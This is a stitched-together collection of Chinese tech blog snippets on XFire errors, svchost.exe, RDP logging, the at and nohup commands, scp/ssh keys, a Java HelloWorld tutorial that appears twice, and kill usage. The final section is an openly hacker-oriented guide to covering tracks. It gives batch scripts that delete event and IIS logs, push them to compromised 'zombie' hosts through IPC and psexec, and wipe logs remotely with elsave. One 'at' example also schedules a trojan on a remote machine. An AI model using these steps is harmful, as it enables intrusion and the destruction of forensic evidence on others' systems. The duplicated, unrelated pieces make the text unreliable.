完整的错误:

javax.servlet.ServletException: Couldn't create type for property expList on class cn.gov.bjp.ceping.xfire.model.User: Cannot create mapping for java.util.List, unspecified component type for interface java.util.List org.codehaus.xfire.transport.http.XFireServletController.doService(XFireServletController.java:142) org.codehaus.xfire.spring.remoting.XFireServletControllerAdapter.handleRequest(XFireServletControllerAdapter.java:67) org.codehaus.xfire.spring.remoting.XFireExporter.handleRequest(XFireExporter.java:48) org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:44) org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:723) org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:663) org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:394) org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:348) javax.servlet.http.HttpServlet.service(HttpServlet.java:690) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) com.opensymphony.module.sitemesh.filter.PageFilter.parsePage(PageFilter.java:118) com.opensymphony.module.sitemesh.filter.PageFilter.doFilter(PageFilter.java:52)

在论坛上有人这么写:

如果是jdk1.5的话 直接public ArrayList custom(String custom) 就不用配置aegis.xml

客户端:
MyTestServiceClient client = new MyTestServiceClient();

//create a default service endpoint
MyTestServicePortType myTestServicePortType = client
.getMyTestServiceHttpPort();

ArrayOfUserBean array = myTestServicePortType.custom( " ");
ArrayList al = (ArrayList )array.getUserBean();//注意强制转换


所以利用了jdk1.5特性,只是在Dojo中list所定义的get方法返回值写成:List《Object>,就解决了错误


XFire 最新生火指南(上):http://wiki.springside.org.cn/display/springside/XFire

Windows系统的Svchost.exe和Explorer.exe是非常重要的两种进程,上次我们介绍了Explorer.exe进程的应用技巧,今天我们介绍Svchost.exe进程的特点以及在各个操作系统中的应用。 

Svchost.exe是NT核心系统的非常重要的进程,对于2000、XP来说,不可或缺。很多病毒、木马也会调用它。所以,深入了解这个程序,是玩电脑的必修课之一。

大家对Windows操作系统一定不陌生,但你是否注意到系统中“Svchost.exe”这个文件呢?细心的朋友会发现Windows中存在多个 “Svchost”进程(通过“ctrl+alt+del”键打开任务管理器,这里的“进程”标签中就可看到了),为什么会这样呢?下面就来揭开它神秘的 面纱。

在基于NT内核的Windows操作系统家族中,不同版本的Windows系统,存在不同数量的“Svchost”进程,用户使用“任务管理器”可 查看其进程数目。一般来说,Win 2000有两个Svchost进程,Win XP中则有四个或四个以上的Svchost进程(以后看到系统中有多个这种进程,千万别立即判定系统有病毒了哟),而Win 2003 server中则更多。这些Svchost进程提供很多系统服务,如:rpcss服务(remote procedure call)、dmserver服务(logical disk manager)、dhcp服务(dhcp clieNT)等。〕

查看Svchost中的多个服务

如果要了解每个Svchost进程到底提供了多少系统服务,可以在Win 2000的命令提示符窗口中输入“tlist -s”命令来查看,该命令是Win 2000 support tools提供的。在Win XP则使用“tasklist /svc”命令。

Windows系统进程分为独立进程和共享进程两种,“Svchost.exe”文件存在于“%systemroot% system32”目录下,它属于共享进程。随着Windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由 Svchost.exe进程来启动。

但Svchost进程只作为服务宿主,并不能实现任何服务功能,即它只能提供条件让其他服务在这里被启动,而它自己却不能给用户提供任何服务。那这些服务是如何实现的呢?

原来这些系统服务是以动态链接库(dll)形式实现的,它们把可执行程序指向 Svchost,由Svchost调用相应服务的动态链接库来启动服务。那Svchost又怎么知道某个系统服务该调用哪个动态链接库呢?这是通过系统服务在注册表中设置的参数来实现。

从启动参数中可见服务是靠Svchost来启动的。

查看Svchost中是否有病毒进程

因为Svchost进程启动各种服务,所以病毒、木马也想尽办法来利用它,企图利用它的特性来迷惑用户,达到感染、入侵、破坏的目的。但Windows系统存在多个Svchost进程是很正常的,在受感染的机器中到底哪个是病毒进程呢?这里仅举一例来说明。

假设Windows XP系统被病毒感染了。正常的Svchost文件存在于“c:Windowssystem32”目录下,如果发现该文件出现在其他目录下就要小心了。病毒 存在于“c:Windowssystem32Wins”目录中,因此使用进程管理器查看Svchost进程的执行文件路径就很容易发现系统是否感染了病 毒。

Windows系统自带的任务管理器不能够查看进程的路径,可以使用第三方进程管理软件,通过这些工具就可很容易地查看到所有的Svchost进程的执行文件路径,一旦发现其执行路径为不平常的位置就应该马上进行检测和处理。

1、在一个位置上建立一个存放日志和监控程序的目录,比如我在C盘下建立一个RDP的目录

2、在其目录下建立一个名为RDPlog.txt的文本文件

3、在其目录下建立一个名为RDPlog.bat的批处理文件,内容为:
date /t >>RDPlog.txt
time /t >>RDPlog.txt
netstat -n -p tcp | find ":3389">>RDPlog.txt
start Explorer

4、进入系统管理工具中的“终端服务器配置”,进入到默认RDP-Tcp属性中

5、切换到“环境”页下,启用“用户登录时启用下列程序”

6、在程序路径和文件名处填写:C:\RDP\rdplog.bat;并在起始于填写:C:\RDP\

完成以上的配置步骤后,当再次登录服务器时就会记录当前登录者的时间和IP。

DOS命令 At

作用:

列出在指定的时间和日期在计算机上运行的已计划命令或计划命令和程序。首先要保证“计划”服务已启动才能使用 at 命令。

格式:

at [\\IP] [[ID] [/delete] /delete [/yes]]

at [\\computername] time [/interactive] [/every:date[,...] /next:date[,...]] command

使用说明:

(1)如果在没有参数的情况下使用,则 at 列出已计划的命令。

(2)\\IP:指定远程计算机,在此输入远程计划机的IP地址。如果省略该参数,命令将安排在本地计算机。

(3)ID:指定指派给已计划命令的识别码。

(4)/delete:取消已计划的命令。如果省略了ID,计算机中已计划的命令将被全部取消。

/yes:当删除已计划的事件时,对系统的查询强制进行肯定的回答。

(5)/time:指定运行命令的时间。将时间以 24 小时标记(00:00 [午夜] 到 23:59)的方式表示为小时:分钟。

(6)/interactive:允许作业与在作业运行时登录用户的桌面进行交互。

(7)/every:date[,...]:在每个星期或月的指定日期(例如,每个星期四, 或每月的第三天)运行命令。将 date 指定为星期的一天或多天 (M,T,W,Th,F,S,Su),或月的一天或多天(使用 1 到 31 的数字)。用逗号分隔多个日期项。如果省略了 date,将假定为该月的当前日期。

(8)/next:date[,...]:在重复出现下一天(例如,下个星期四)时,运行指 定命令将 date 指定为星期的一天或多天 (M,T,W,Th,F,S,Su),或月的一天或多天(使用 1 到 31 的数字)。用逗号分隔多个日期项。如果省略了 date,将假定为该月的当前日期。

(9)command:指定要运行的 Windows 2000 命令、程序(.exe 或 .com 文件)或批处理程序(.bat 或 .cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的 UNC 符号,而不是远程驱动器号。如果命令不是可执行 (.exe) 文件,必须在命令前加上 cmd /c,例如: cmd /c dir > c:\test.out

实例:

(1)列出本机已有的计划命令。

C:\>at

由于本机没有计划命令,所在显示为“清单是空的”。

(2)查看IP地址为192.168.1.13的计算机计划服务列表。

C:\>at \\192.168.1.13

运行后可以看到在IP地址为192.168.1.13计算机中有一项计划服务,这项计划服务要执行的日期、时间以及程序。

(3)取消IP地址为192.168.1.13的计算机计划服务。

(4)指定d:\muma.exe程序在IP为192.168.1.13的远程计算机上,于20:50运行。

Linux的nohup命令

昨晚在DreamHost的shell里wget了一个文件,想传到我的ftp上,却又急着回家吃饭。用ftp命令put上去,一断开连接,传输就停止了。觉得Windows都有at命令,Linux应该有定时执行的功能吧。上网查了一番,找到这篇活用Linux的后台任务,原来只要在命令后面加上&符号就可以让任务在后台运行了。不过,这只是让任务在后台执行,断开连接一样会被结束掉。又找到这篇《用nohup命令让Linux下程序永远在后台执行》,介绍了nohup命令和ncftpput程序。于是用了这么一条命令:

nohup ncftpput -u yskin -p *** ftp.server.com /wwwroot 123.zip&

执行后,用jobs命令查看到他正在运行,然后用exit命令退出shell,ftp到我的ftp服务器上,发现文件大小在不停地增加。今天早上上网,发现文件已经传完了。自己睡觉让机器干活,真爽!

好像jobs命令只能显示当前连接中的job,退出后再telnet进去就显示不出来了。另外有一个小发现,ftp服务器上的文件时间被设置过了,看来ncftpput程序会自动设置上传文件的时间呀,我用过的ftp客户端好像都没有这样的功能,以后有空要查一查。

Update:今天特别有兴趣研究这个问题:怎样在ftp 里修改FTP服务器上远程文件时间。ncftpput的帮助里有一条"-y Try using 'SITE UTIME' to preserve timestamps on remote host."好像是利用"SITE UTIME"命令来修改远程文件时间的。在网上查到说:Not many remote FTP servers support this, so it may not work.试了一下,我的两个FTP服务器都不支持这条命令,晕倒,Serv-U都不支持。无奈,去ncftp官网把NcFTP Client的源代码下了下来,直接用WinRAR搜索"UTIME",找到c_utime.c文件,里面写的很清楚了,先尝试用"SITE UTIME"命令修改,不行再用MDTM命令修改。试了一下,用ftp命令登陆,敲入quote MDTM 20060101000000 filename,修改成功,bingo.

另外,我还查到PHP里可以用touch()touch()函数修改文件的最后修改时间,和Linux里的touch命令名字一样,hoho

Update2:好像我的FTP服务器上的Serv-U FTP Server v6.0和yskin.net上的vsFTPd 2.0.3都支持MDTM命令,而DreamHost的ProFTPD 1.3.0rc2 Server不支持MDTM命令。So,只能telnet上去,用touch命令改咯。

Update3:Kirin Lin大大推荐使用Linux的screen程序。去Google找了一圈,找到《使用 Screen 看管不适合“无人看管”的终端软件》《Unix/Linux 工具: Screen 命令使用》。 这个工具就相当于在shell里再运行一个shell,就像登陆shell,然后输入bash命令,或者Win+R->cmd进Windows命令 行提示符后再输入cmd回车一样。只不过,这个新的shell可以随时暂停,而且登出shell后它还在运行,下次还能再登陆进去。

命令很简单,screen -S test即可建立一个叫test的screen,可以在这个screen里运行程序,假设我运行python:

[burns]$ python
Python 2.5 (r25:51908, Nov 23 2006, 19:51:08)
[GCC 3.3.5 (Debian 1:3.3.5-13)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

好吧,我承认我是在炫耀刚在DreamHost上安装的Python 2.5,具体安装过程在这里有详细描述。

这时,按下Ctrl+a,再按下d键,这是显示"[detached]",表示断开了这个screen。然后,我们用screen -ls命令查看一下

[burns]$ screen -ls
There is a screen on:
1906.test (Detached) 1 Socket in /var/run/screen/S-yskin.

显示有一个已经断开连接的screen。输入exit,退出shell,然后再telnet进去。键入screen -ls命令,可以发现我可爱的叫test的screen仍然乖乖的躺在那儿。只要DreamHost主机不重启,这个screen应该一直存在吧。输入screen -r test可以重新连接上这个screen(因为我给了它个名字叫test,否则就必须记住1906这个号码咯),我的python还在。按下Ctrl+D退出python,再输入exit就可以退出这个screen,屏幕上会显示"[screen is terminating]"。唔,terminating,这个词好耳熟啊,昨天看《终结者Ⅲ》时好像听过。

Windows命令行提示符和Linux的bash可以进很多层,不过退出时要输入一层一层输入exit退出。呃,试着在一个screen里再开一 个screen,按Ctrl+A->D退出,会直接退出第一层screen。用screen -ls命令查看,可以看到第一层已经断开了,第二层还连着。不知道如果开好多层,然后用-D命令强制停止中间的某一层有什么结果,嘿嘿。

才学了几天Linux,发现Linux真好玩,比DOS好玩多了。

Update3:用nohup命令,可以直接在后台运行命 令。如果用screen,在一个screen里的时候,即使telnet断线,在登陆上去,切换进screen,还能进入断线前的页面。不过,如果用 ncftpput命令,那么命令执行完之后,screen并不会关闭。DOS下有个&符号,可以相继运行几个命令。(Windows应该是 &,纯DOS下应该是Ctrl+T吧)在Linux试了一下,&符号好像表示的是同时运行多个命令,以多线程的方式运行。所以, ncftpput还在运行,这边screen已经退出了,screen打开的bash进程也停了。不过这个ncftpput还能继续运行下去,直到上传完 文件才自行关闭,好玩的很。而|和<还有>是管道符号。刚才因为输错了命令,偶然间发现一个符号:分号;。分号间隔的命令可以相继运行。在 screen里输入ncftpput ... ;exit,等ncftpput上传完文件,这个screen就自动关闭了,hoho

还学了两个命令:ps -e查看进程,kill -9 +进程号强行关闭进程。

在javascript中定义变量用
var a;

定义函数用这种格式:
function method(){}

但是不能体现出java的类的特点,也就是没有有效的把这些变量函数组织到一起,不便于管理。

看了ajax in action 那本书中所写的,受了点启发。
我们可以先定义一个object,再在object之下定义变量和函数,使之成为一个整体。
例:
var checkExp=new Object();
定义变量:
checkExp.SAVING_='保存中...';
定义函数:
checkExp.getXmlHttpRequestObject=function() {}

调用时:
checkExp.getXmlHttpRequestObject();

scp

使用 scp 在远程机器上 copy 档案
例如:
copy 本地的档案到远程的机器上
scp /etc/lilo.conf k@net67.ee.oit.edu.tw:/home/k
会将本地的 /etc/lilo.conf 这个档案 copy 到 net67.ee.oit.edu.tw,使用者 k 的家目录下。
copy远程机器上的档案到本地来
scp k@net67.ee.oit.edu.tw:/etc/lilo.conf /etc
会将 net67.ee.oitdu.tw 中 /etc/lilo.conf 档案 copy 到本地的 /etc 目录下。
保持从来源 host 档案的属性
scp –p k@net67.ee.tw:/etc/lilo.conf /etc
在此必须注意使用者的权限是否可读取远程上的档案,若想知道更多关于 scp 的使用方法,可去看看 scp 的使用手册。
ssh-keygen
产生公开钥 (pulib key) 和私人钥 (private key),以保障 ssh 联机的安性, 当 ssh 连 shd 服务器,会交换公开钥上,系统会检查 /etc/ssh_know_hosts 内储存的 key,如果找到客户端就用这个 key 产生一个随机产生的session key 传给服务器,两端都用这个 key 来继续完成 ssh 剩下来的阶段。

它会产生 identity.pub、identity 两个档案,私人钥存放于identity,公开钥 存放于 identity.pub 中,接下来使用 scp 将 identity.pub copy 到远程机器的家目录下.ssh下的authorized_keys。 .ssh/authorized_keys(这个 authorized_keys 档案相当于协议的 rhosts 档案), 之后使用者能够不用密码去登入。RSA的认证绝对是比 rhosts 认证更来的安全可靠。
执行:
scp identity.pub k@linux1.ee.oit.edu.tw:.ssh/authorized_keys

若在使用 ssh-keygen 产生钥匙对时没有输入密码,则如上所示不需输入密码即可从 net67.ee.oit.edu.tw 去登入 linux1.ee.oit.edu.tw。在此,这里输入的密码可以跟帐号的密码不同,也可以不输入密码。

java hello world

-------------
java环境设置
-------------

在环境变量中设置以下三个变量:
JAVA_HOME=C:\j2sdk1.4.1 //可以改为相应的目录
CLASSPATH=%JAVA_HOME%\lib\tools.jar;%JAVA_HOME%\lib\dt.jar
PATH=%JAVA_HOME%\bin;%PATH%

然后在命令行输入java -version命令,如果出现
java version "1.4.1"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.1-b21)
Java HotSpot(TM) Client VM (build 1.4.1-b21, mixed mode)
则说明已经配置成功!

HelloWorld.java源程序如下:
public class HelloWorld{
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

在命令行执行javac HelloWorld.java
如果没有输出任何信息则说明编译成功。

在命令行运行java HelloWorld,输出:
Hello World!
代表成功执行了java程序。

-----------------
初学者常犯的错误
-----------------

1. 运行时,带了.class后缀
如果你试图使用如下命令:
E:\java\src>java HelloWorld.class
系统会误认为你运行的是HelloWorld包下的名为class的类文件,会到系统的CLASSPATH下(一般都包括当前目录)企图寻找 HelloWorld.class.class这样的类,这样的类当然不存在了;并且也不可能存在,因为class是关键字,不能作为一个类的名字。所以会报如下错误信息:
Exception in thread "main" java.lang.NoClassDefFoundError: HelloWorld/class

2. 文件名大小写错误
对于像Windows这样的系统,编译时可以不关心大小写。比如编译HelloWorld.java时,也可以使用:
E:\java\src>javac helloworld.java
也可以编译通过,但产生的类文件仍然是和源文件相符的:HelloWorld.class。
但在运行时一定要注意大小写,比如试图使用如下命令运行:
E:\java\src>java helloworld
将报类似于1中的错误:
Exception in thread "main" java.lang.NoClassDefFoundError: helloworld (wrong name: HelloWorld)


----------------------------
包含包层次的HelloWorld.java
----------------------------

比如上面的HelloWorld.java修改如下:
package org.javaresearch;
public class HelloWorld{
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

编译时有两种方法

1. 直接编译
E:\java\src>javac HelloWorld.java
此时在当前目录下输出HelloWorld.class。此时,运行不能使用上面相同的方法,使用:
E:\java\src>java HelloWorld
运行时,出现如下错误:
Exception in thread "main" java.lang.NoClassDefFoundError: HelloWorld (wrong name: org/javaresearch/HelloWorld)
从上述错误信息你也可以看到,系统可以找到HelloWorld类(因为当前路径包含在CLASSPATH中,具体为什么会提示wrong name,有兴趣的朋友参见Java语言规范),但这个类属于org.javaresearch包。所以,你要做的就是按照上述包层次,相应的创建目录层次,把上面生成的HelloWorld.class放到E:\java\src\org\javaresearch\目录下。运行:
E:\java\src >java org.javaresearch.HelloWorld
系统打印出:
Hello World!
这儿要注意的是,不能使用java org\javaresearch\HelloWorld来运行,此时同样会出现如下错误:
Exception in thread "main" java.lang.NoClassDefFoundError:org\javaresearch\HelloWorld (wrong name: org/javaresearch/HelloWorld)

2. 使用 -d 编译选项
是不是觉得上面的编译方法有点麻烦,能不能自动在当前路径(或任意指定的路径)下生成包层次呢?有!使用-d 编译选项就能做到。
E:\java\src >javac -d . HelloWorld.java
此时,在当前目录下就生成了一个org\javaresearch目录,并且输出的.class文件也在里面。运行:
E:\java\src >java org.javaresearch.HelloWorld
系统打印:Hello World!
如果你想把生成的类文件集中存放在一个目录中,比如:E:\java\classes下,那么你首先创建这个目录,然后编译时:
E:\java\src >javac -d E:\java\classes HelloWorld.java
就可以把生成的类文件放到E:\java\classes目录下,并且按照包层次相应的创建目录路径。你可以在E:\java\classes\org\ javaresearch下找到HelloWorld.class文件。此时使用如下命令可以正确运行(注意如果要用到其它类,请在CLASSPATH中设好):
E:\java\classes >java org.javaresearch.HelloWorld

或者你可以在E:\java目录下面运行以下命令来执行
E:\java >java -classpath .\classes org.javaresearch.HelloWorld
使用java的-classpath参数可以将一些目录加入类路径

-------------------
打包jar文件
-------------------
可以把一个包内的所有class文件打包为一个jar文件,便于存放和运行。以上文的org.javaresearch包为例,其打包命令如下:
E:\java\classes >jar cvf wxb.jar org
会生成一个wxb.jar文件,将其中META-INF\MANIFEST.MF文件中添加如下一行:
Main-Class: org.javaresearch.HelloWorld
保存jar文件。

或者首先创建并编辑一个MANIFEST.MF文件,其内容如下:
Manifest-Version: 1.0
Created-By: 1.4.1 (Sun Microsystems Inc.)
Main-Class: org.javaresearch.HelloWorld
将其保存到classes目录中
然后将其一起打包到jar文件中,打包命令如下:
E:\java\classes >jar cvfm wxb.jar MANIFEST.MF org

-------------
运行jar文件
-------------
在命令行中输入如下命令即可:
E:\java\classes >java -jar wxb.jar
输出为:
Hello World!

------------------------
用Ant来编译运行java程序
------------------------
首先安装Ant,步骤很简单:
1.将Ant压缩包解压到一个目录,例如D:\Ant1.5.2;
2.在环境变量中添加以下变量:
ANT_HOME=D:\Ant1.5.2 //可以改为相应的目录
3.修改Path环境变量
PATH=%ANT_HOME%\bin;%PATH%

最后给出了一个Ant的build.xml文件,运行ant即可完成所有以上的编译和运行过程,其build文件如下:


building HelloWorld!




















































java hello world

-------------
java环境设置
-------------

在环境变量中设置以下三个变量:
JAVA_HOME=C:\j2sdk1.4.1 //可以改为相应的目录
CLASSPATH=%JAVA_HOME%\lib\tools.jar;%JAVA_HOME%\lib\dt.jar
PATH=%JAVA_HOME%\bin;%PATH%

然后在命令行输入java -version命令,如果出现
java version "1.4.1"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.1-b21)
Java HotSpot(TM) Client VM (build 1.4.1-b21, mixed mode)
则说明已经配置成功!

HelloWorld.java源程序如下:
public class HelloWorld{
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

在命令行执行javac HelloWorld.java
如果没有输出任何信息则说明编译成功。

在命令行运行java HelloWorld,输出:
Hello World!
代表成功执行了java程序。

-----------------
初学者常犯的错误
-----------------

1. 运行时,带了.class后缀
如果你试图使用如下命令:
E:\java\src>java HelloWorld.class
系统会误认为你运行的是HelloWorld包下的名为class的类文件,会到系统的CLASSPATH下(一般都包括当前目录)企图寻找 HelloWorld.class.class这样的类,这样的类当然不存在了;并且也不可能存在,因为class是关键字,不能作为一个类的名字。所以会报如下错误信息:
Exception in thread "main" java.lang.NoClassDefFoundError: HelloWorld/class

2. 文件名大小写错误
对于像Windows这样的系统,编译时可以不关心大小写。比如编译HelloWorld.java时,也可以使用:
E:\java\src>javac helloworld.java
也可以编译通过,但产生的类文件仍然是和源文件相符的:HelloWorld.class。
但在运行时一定要注意大小写,比如试图使用如下命令运行:
E:\java\src>java helloworld
将报类似于1中的错误:
Exception in thread "main" java.lang.NoClassDefFoundError: helloworld (wrong name: HelloWorld)


----------------------------
包含包层次的HelloWorld.java
----------------------------

比如上面的HelloWorld.java修改如下:
package org.javaresearch;
public class HelloWorld{
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

编译时有两种方法

1. 直接编译
E:\java\src>javac HelloWorld.java
此时在当前目录下输出HelloWorld.class。此时,运行不能使用上面相同的方法,使用:
E:\java\src>java HelloWorld
运行时,出现如下错误:
Exception in thread "main" java.lang.NoClassDefFoundError: HelloWorld (wrong name: org/javaresearch/HelloWorld)
从上述错误信息你也可以看到,系统可以找到HelloWorld类(因为当前路径包含在CLASSPATH中,具体为什么会提示wrong name,有兴趣的朋友参见Java语言规范),但这个类属于org.javaresearch包。所以,你要做的就是按照上述包层次,相应的创建目录层次,把上面生成的HelloWorld.class放到E:\java\src\org\javaresearch\目录下。运行:
E:\java\src >java org.javaresearch.HelloWorld
系统打印出:
Hello World!
这儿要注意的是,不能使用java org\javaresearch\HelloWorld来运行,此时同样会出现如下错误:
Exception in thread "main" java.lang.NoClassDefFoundError:org\javaresearch\HelloWorld (wrong name: org/javaresearch/HelloWorld)

2. 使用 -d 编译选项
是不是觉得上面的编译方法有点麻烦,能不能自动在当前路径(或任意指定的路径)下生成包层次呢?有!使用-d 编译选项就能做到。
E:\java\src >javac -d . HelloWorld.java
此时,在当前目录下就生成了一个org\javaresearch目录,并且输出的.class文件也在里面。运行:
E:\java\src >java org.javaresearch.HelloWorld
系统打印:Hello World!
如果你想把生成的类文件集中存放在一个目录中,比如:E:\java\classes下,那么你首先创建这个目录,然后编译时:
E:\java\src >javac -d E:\java\classes HelloWorld.java
就可以把生成的类文件放到E:\java\classes目录下,并且按照包层次相应的创建目录路径。你可以在E:\java\classes\org\ javaresearch下找到HelloWorld.class文件。此时使用如下命令可以正确运行(注意如果要用到其它类,请在CLASSPATH中设好):
E:\java\classes >java org.javaresearch.HelloWorld

或者你可以在E:\java目录下面运行以下命令来执行
E:\java >java -classpath .\classes org.javaresearch.HelloWorld
使用java的-classpath参数可以将一些目录加入类路径

-------------------
打包jar文件
-------------------
可以把一个包内的所有class文件打包为一个jar文件,便于存放和运行。以上文的org.javaresearch包为例,其打包命令如下:
E:\java\classes >jar cvf wxb.jar org
会生成一个wxb.jar文件,将其中META-INF\MANIFEST.MF文件中添加如下一行:
Main-Class: org.javaresearch.HelloWorld
保存jar文件。

或者首先创建并编辑一个MANIFEST.MF文件,其内容如下:
Manifest-Version: 1.0
Created-By: 1.4.1 (Sun Microsystems Inc.)
Main-Class: org.javaresearch.HelloWorld
将其保存到classes目录中
然后将其一起打包到jar文件中,打包命令如下:
E:\java\classes >jar cvfm wxb.jar MANIFEST.MF org

-------------
运行jar文件
-------------
在命令行中输入如下命令即可:
E:\java\classes >java -jar wxb.jar
输出为:
Hello World!

------------------------
用Ant来编译运行java程序
------------------------
首先安装Ant,步骤很简单:
1.将Ant压缩包解压到一个目录,例如D:\Ant1.5.2;
2.在环境变量中添加以下变量:
ANT_HOME=D:\Ant1.5.2 //可以改为相应的目录
3.修改Path环境变量
PATH=%ANT_HOME%\bin;%PATH%

最后给出了一个Ant的build.xml文件,运行ant即可完成所有以上的编译和运行过程,其build文件如下:


building HelloWorld!



















description="generate the distribution" >

















fork="true"
failonerror="true"
maxmemory="128m"
>








description="clean up" >




一. 终止进程的工具 kill 、killall、pkill、xkill

终止一个进程或终止一个正在运行的程序,一般是通过 kill 、killall、pkill、xkill 等进行。比如一个程序已经死掉,但又不能退出,这时就应该考虑应用这些工具。

另外应用的场合就是在服务器管理中,在不涉及数据库服务器程序的父进程的停止运行,也可以用这些工具来终止。为什么数据库服务器的父进程不 能用这些工具杀死呢?原因很简单,这些工具在强行终止数据库服务器时,会让数据库产生更多的文件碎片,当碎片达到一定程度的时候,数据库就有崩溃的危险。 比如mysql服务器最好是按其正常的程序关闭,而不是用pkill mysqld 或killall mysqld 这样危险的动作;当然对于占用资源过多的数据库子进程,我们应该用kill 来杀掉。

1. kill

kill的应用是和 或pgrep 命令结合在一起使用的;

kill 的用法:

kill [信号代码] 进程ID

注:信号代码可以省略;我们常用的信号代码是 -9 ,表示强制终止;

举例:

[root@localhost ~]# auxf |grep httpd

root 4939 0.0 0.0 5160 708 pts/3 S 13:10 0:00 \_ grep httpd

root 4830 0.1 1.3 24232 10272 ? 13:02 0:00 /usr/ in/httpd

apache 4833 0.0 0.6 24364 4932 ? S 13:02 0:00 \_ /usr/ in/httpd

apache 4834 0.0 0.6 24364 4928 ? S 13:02 0:00 \_ /usr/ in/httpd

apache 4835 0.0 0.6 24364 4928 ? S 13:02 0:00 \_ /usr/ in/httpd

此文来自电脑故障 网


apache 4836 0.0 0.6 24364 4928 ? S 13:02 0:00 \_ /usr/ in/httpd

apache 4840 0.0 0.6 24364 4928 ? S 13:02 0:00 \_ /usr/ in/httpd
我们查看httpd 服务器的进程;您也可以用pgrep -l httpd 来查看;


我们看上面例子中的第二列,就是进程PID的列,其中4830是httpd服务器的父进程,从4833-4840的进程都是它4830的子进程;如果我们杀掉父进程4830的话,其下的子进程也会跟着死掉;

[root@localhost ~]# kill 4840 注:杀掉4840这个进程

[root@localhost ~]# -auxf |grep httpd 注:查看一下会有什么结果?是不是httpd服务器仍在运行?

[root@localhost ~]# kill 4830 注:杀掉httpd的父进程

[root@localhost ~]# -aux |grep httpd 注:查看httpd的其它子进程是否存在,httpd服务器是否仍在运行?


对于僵尸进程,可以用kill -9 来强制终止退出;


比如一个程序已经彻底死掉,如果kill 不加信号强度是没有办法退出,最好的办法就是加信号强度 -9 ,后面要接杀父进程;比如;

[root@localhost ~]# aux |grep gaim

beinan 5031 9.0 2.3 104996 17484 ? S 13:23 0:01 gaim

root 5036 0.0 0.0 5160 724 pts/3 S 13:24 0:00 grep gaim

或 [root@localhost ~]# pgrep -l gaim

5031 gaim

[root@localhost ~]# kill -9 5031

EVT文件

计算机操作系统的日志(EVT文件)无法通过复制的方式到另外一个系统中。
所以,你给我的EVT文件我无法查看,你需要进行以下操作:

  • 在 E 盘新建一个文件夹。
  • elogdmp.exe文件存到 E 盘刚才新建的文件夹下。
  • 进入DOS,到 E 盘刚才新建的文件夹下。
  • 输入 elogdmp \\abc Application System Security >log.txt
    注释:ABC是计算机名
  • 可以把上面的命令复制到 DOS 的窗口去 (在 DOS 中粘贴点右键)
    这样就可以在当前目录下发现一个 log.txt 的文件。
  • Blogged with the Flock Browser

    什么是日志文件?它是一些文件系统集合,依靠建立起的各种数据的日志文件而存在。在任何系统发生崩溃或需要重新启动时,数据就遵从日志文件中的信息 记录原封不动进行恢复。日志对于系统安全的作用是显而易见的,无论是网络管理员还是 黑客都非常重视日志,一个有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客会在入侵成功后迅速清除掉对自己不利的日志。无论是 攻还是防,日志的重要性由此可见。下面我们就来简单讨论一下日志文件的清除方法。

    一、日志文件的位置

    windows 2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器日志等等,应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%system32config。

    安全日志文件:%systemroot%system32configSecEvent.EVT

    系统日志文件:%systemroot%system32configSysEvent.EVT

    应用程序日志文件:%systemroot%system32configAppEvent.EVT

    有的管理员很可能将这些日志重定位(所以日志可能不在上面那些位置),其中EVENTLOG下面有很多的子表,在里面可查到以上日志的定位目录。

    二、清除自己电脑中的日志

    如果你要清除自己电脑中的日志,可以用管理员的身份来登录Windows,然后在“控制面板”中进入“管理工具”,再双击里面的“事件查看 器”。打开后我们就可以在这里清除日志文件了,里面有应用程序、安全和系统日志文件。举个例子,比方说你想清除安全日志,可以右键点击“安全日志”,在弹 出的菜单中选择“属性”。接下来在弹出的对话框中,点击下面“清除日志”按钮就可以清除了,如果你想以后再来清除这些日志的话,可以将“按需要改写尺 寸”,这样就可以在达到最大日志尺寸时进行改写事件了,不会提示你清除日志。

    三、清除远程主机上的日志

    大多数情况下,IIS的日志会忠实地记录它接收到的任何请求(也有特殊的不被IIS记录的攻击),一个优秀的系统管理员会利用这点来发现入 侵的企图,保护自己的系统。所以如果你是黑客,入侵系统成功后第一件事便是清除日志,擦去自己的形迹,这时可以用以下两个办法:一是自己编写批处理文件来 解决,编写一个能清除日志的批处理非常简单,方法是:新建一个具有如下内容的批处理文件:

      @del c:winntsystem32logfiles*.*

      @del c:winntsystem32config*.evt

      @del c:winntsystem32dtclog*.*

      @del c:winntsystem32*.log

      @del c:winntsystem32*.txt

      @del c:winnt*.txt

      @del c:winnt*.log

      @del c:del.bat

    把上面的内容保存为del.bat备用。在上面的代码中echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,另外del命令大家一定清楚吧?它是删除文件命令。

    接下来再新建一个批处理文件,内容如下:

      @copy del.bat \%1c$

      @echo 向肉鸡复制本机的del.bat……OK

      @psexec \%1 c:del.bat

      @echo 在肉鸡上运行del.bat,清除日志文件……OK

    保存为clean.bat即可,假设已经与肉鸡进行了IPC连接,然后在CMD下输入:clean.bat 肉鸡IP,即可清除肉鸡上的日志文件。

    清除日志的另外一个方法是借助第三方软件,如著名黑客软件流光的开发者黑客小榕的elsave.exe,就是是一款可以远程清除系统日志、 应用程序日志、安全日志的软件,大家可以在网上下载到。elsave.exe使用起来很简单,首先利用获得的管理员账号与对方建立IPC会话:net use \ip pass /user: user,然后在命令行下执行如下命令:elsave -s \ip -l application -C,这样就删除了安全日志。

    Blogged with the Flock Browser

    命令:DIR,列文件、目录

    增加参数:/-C
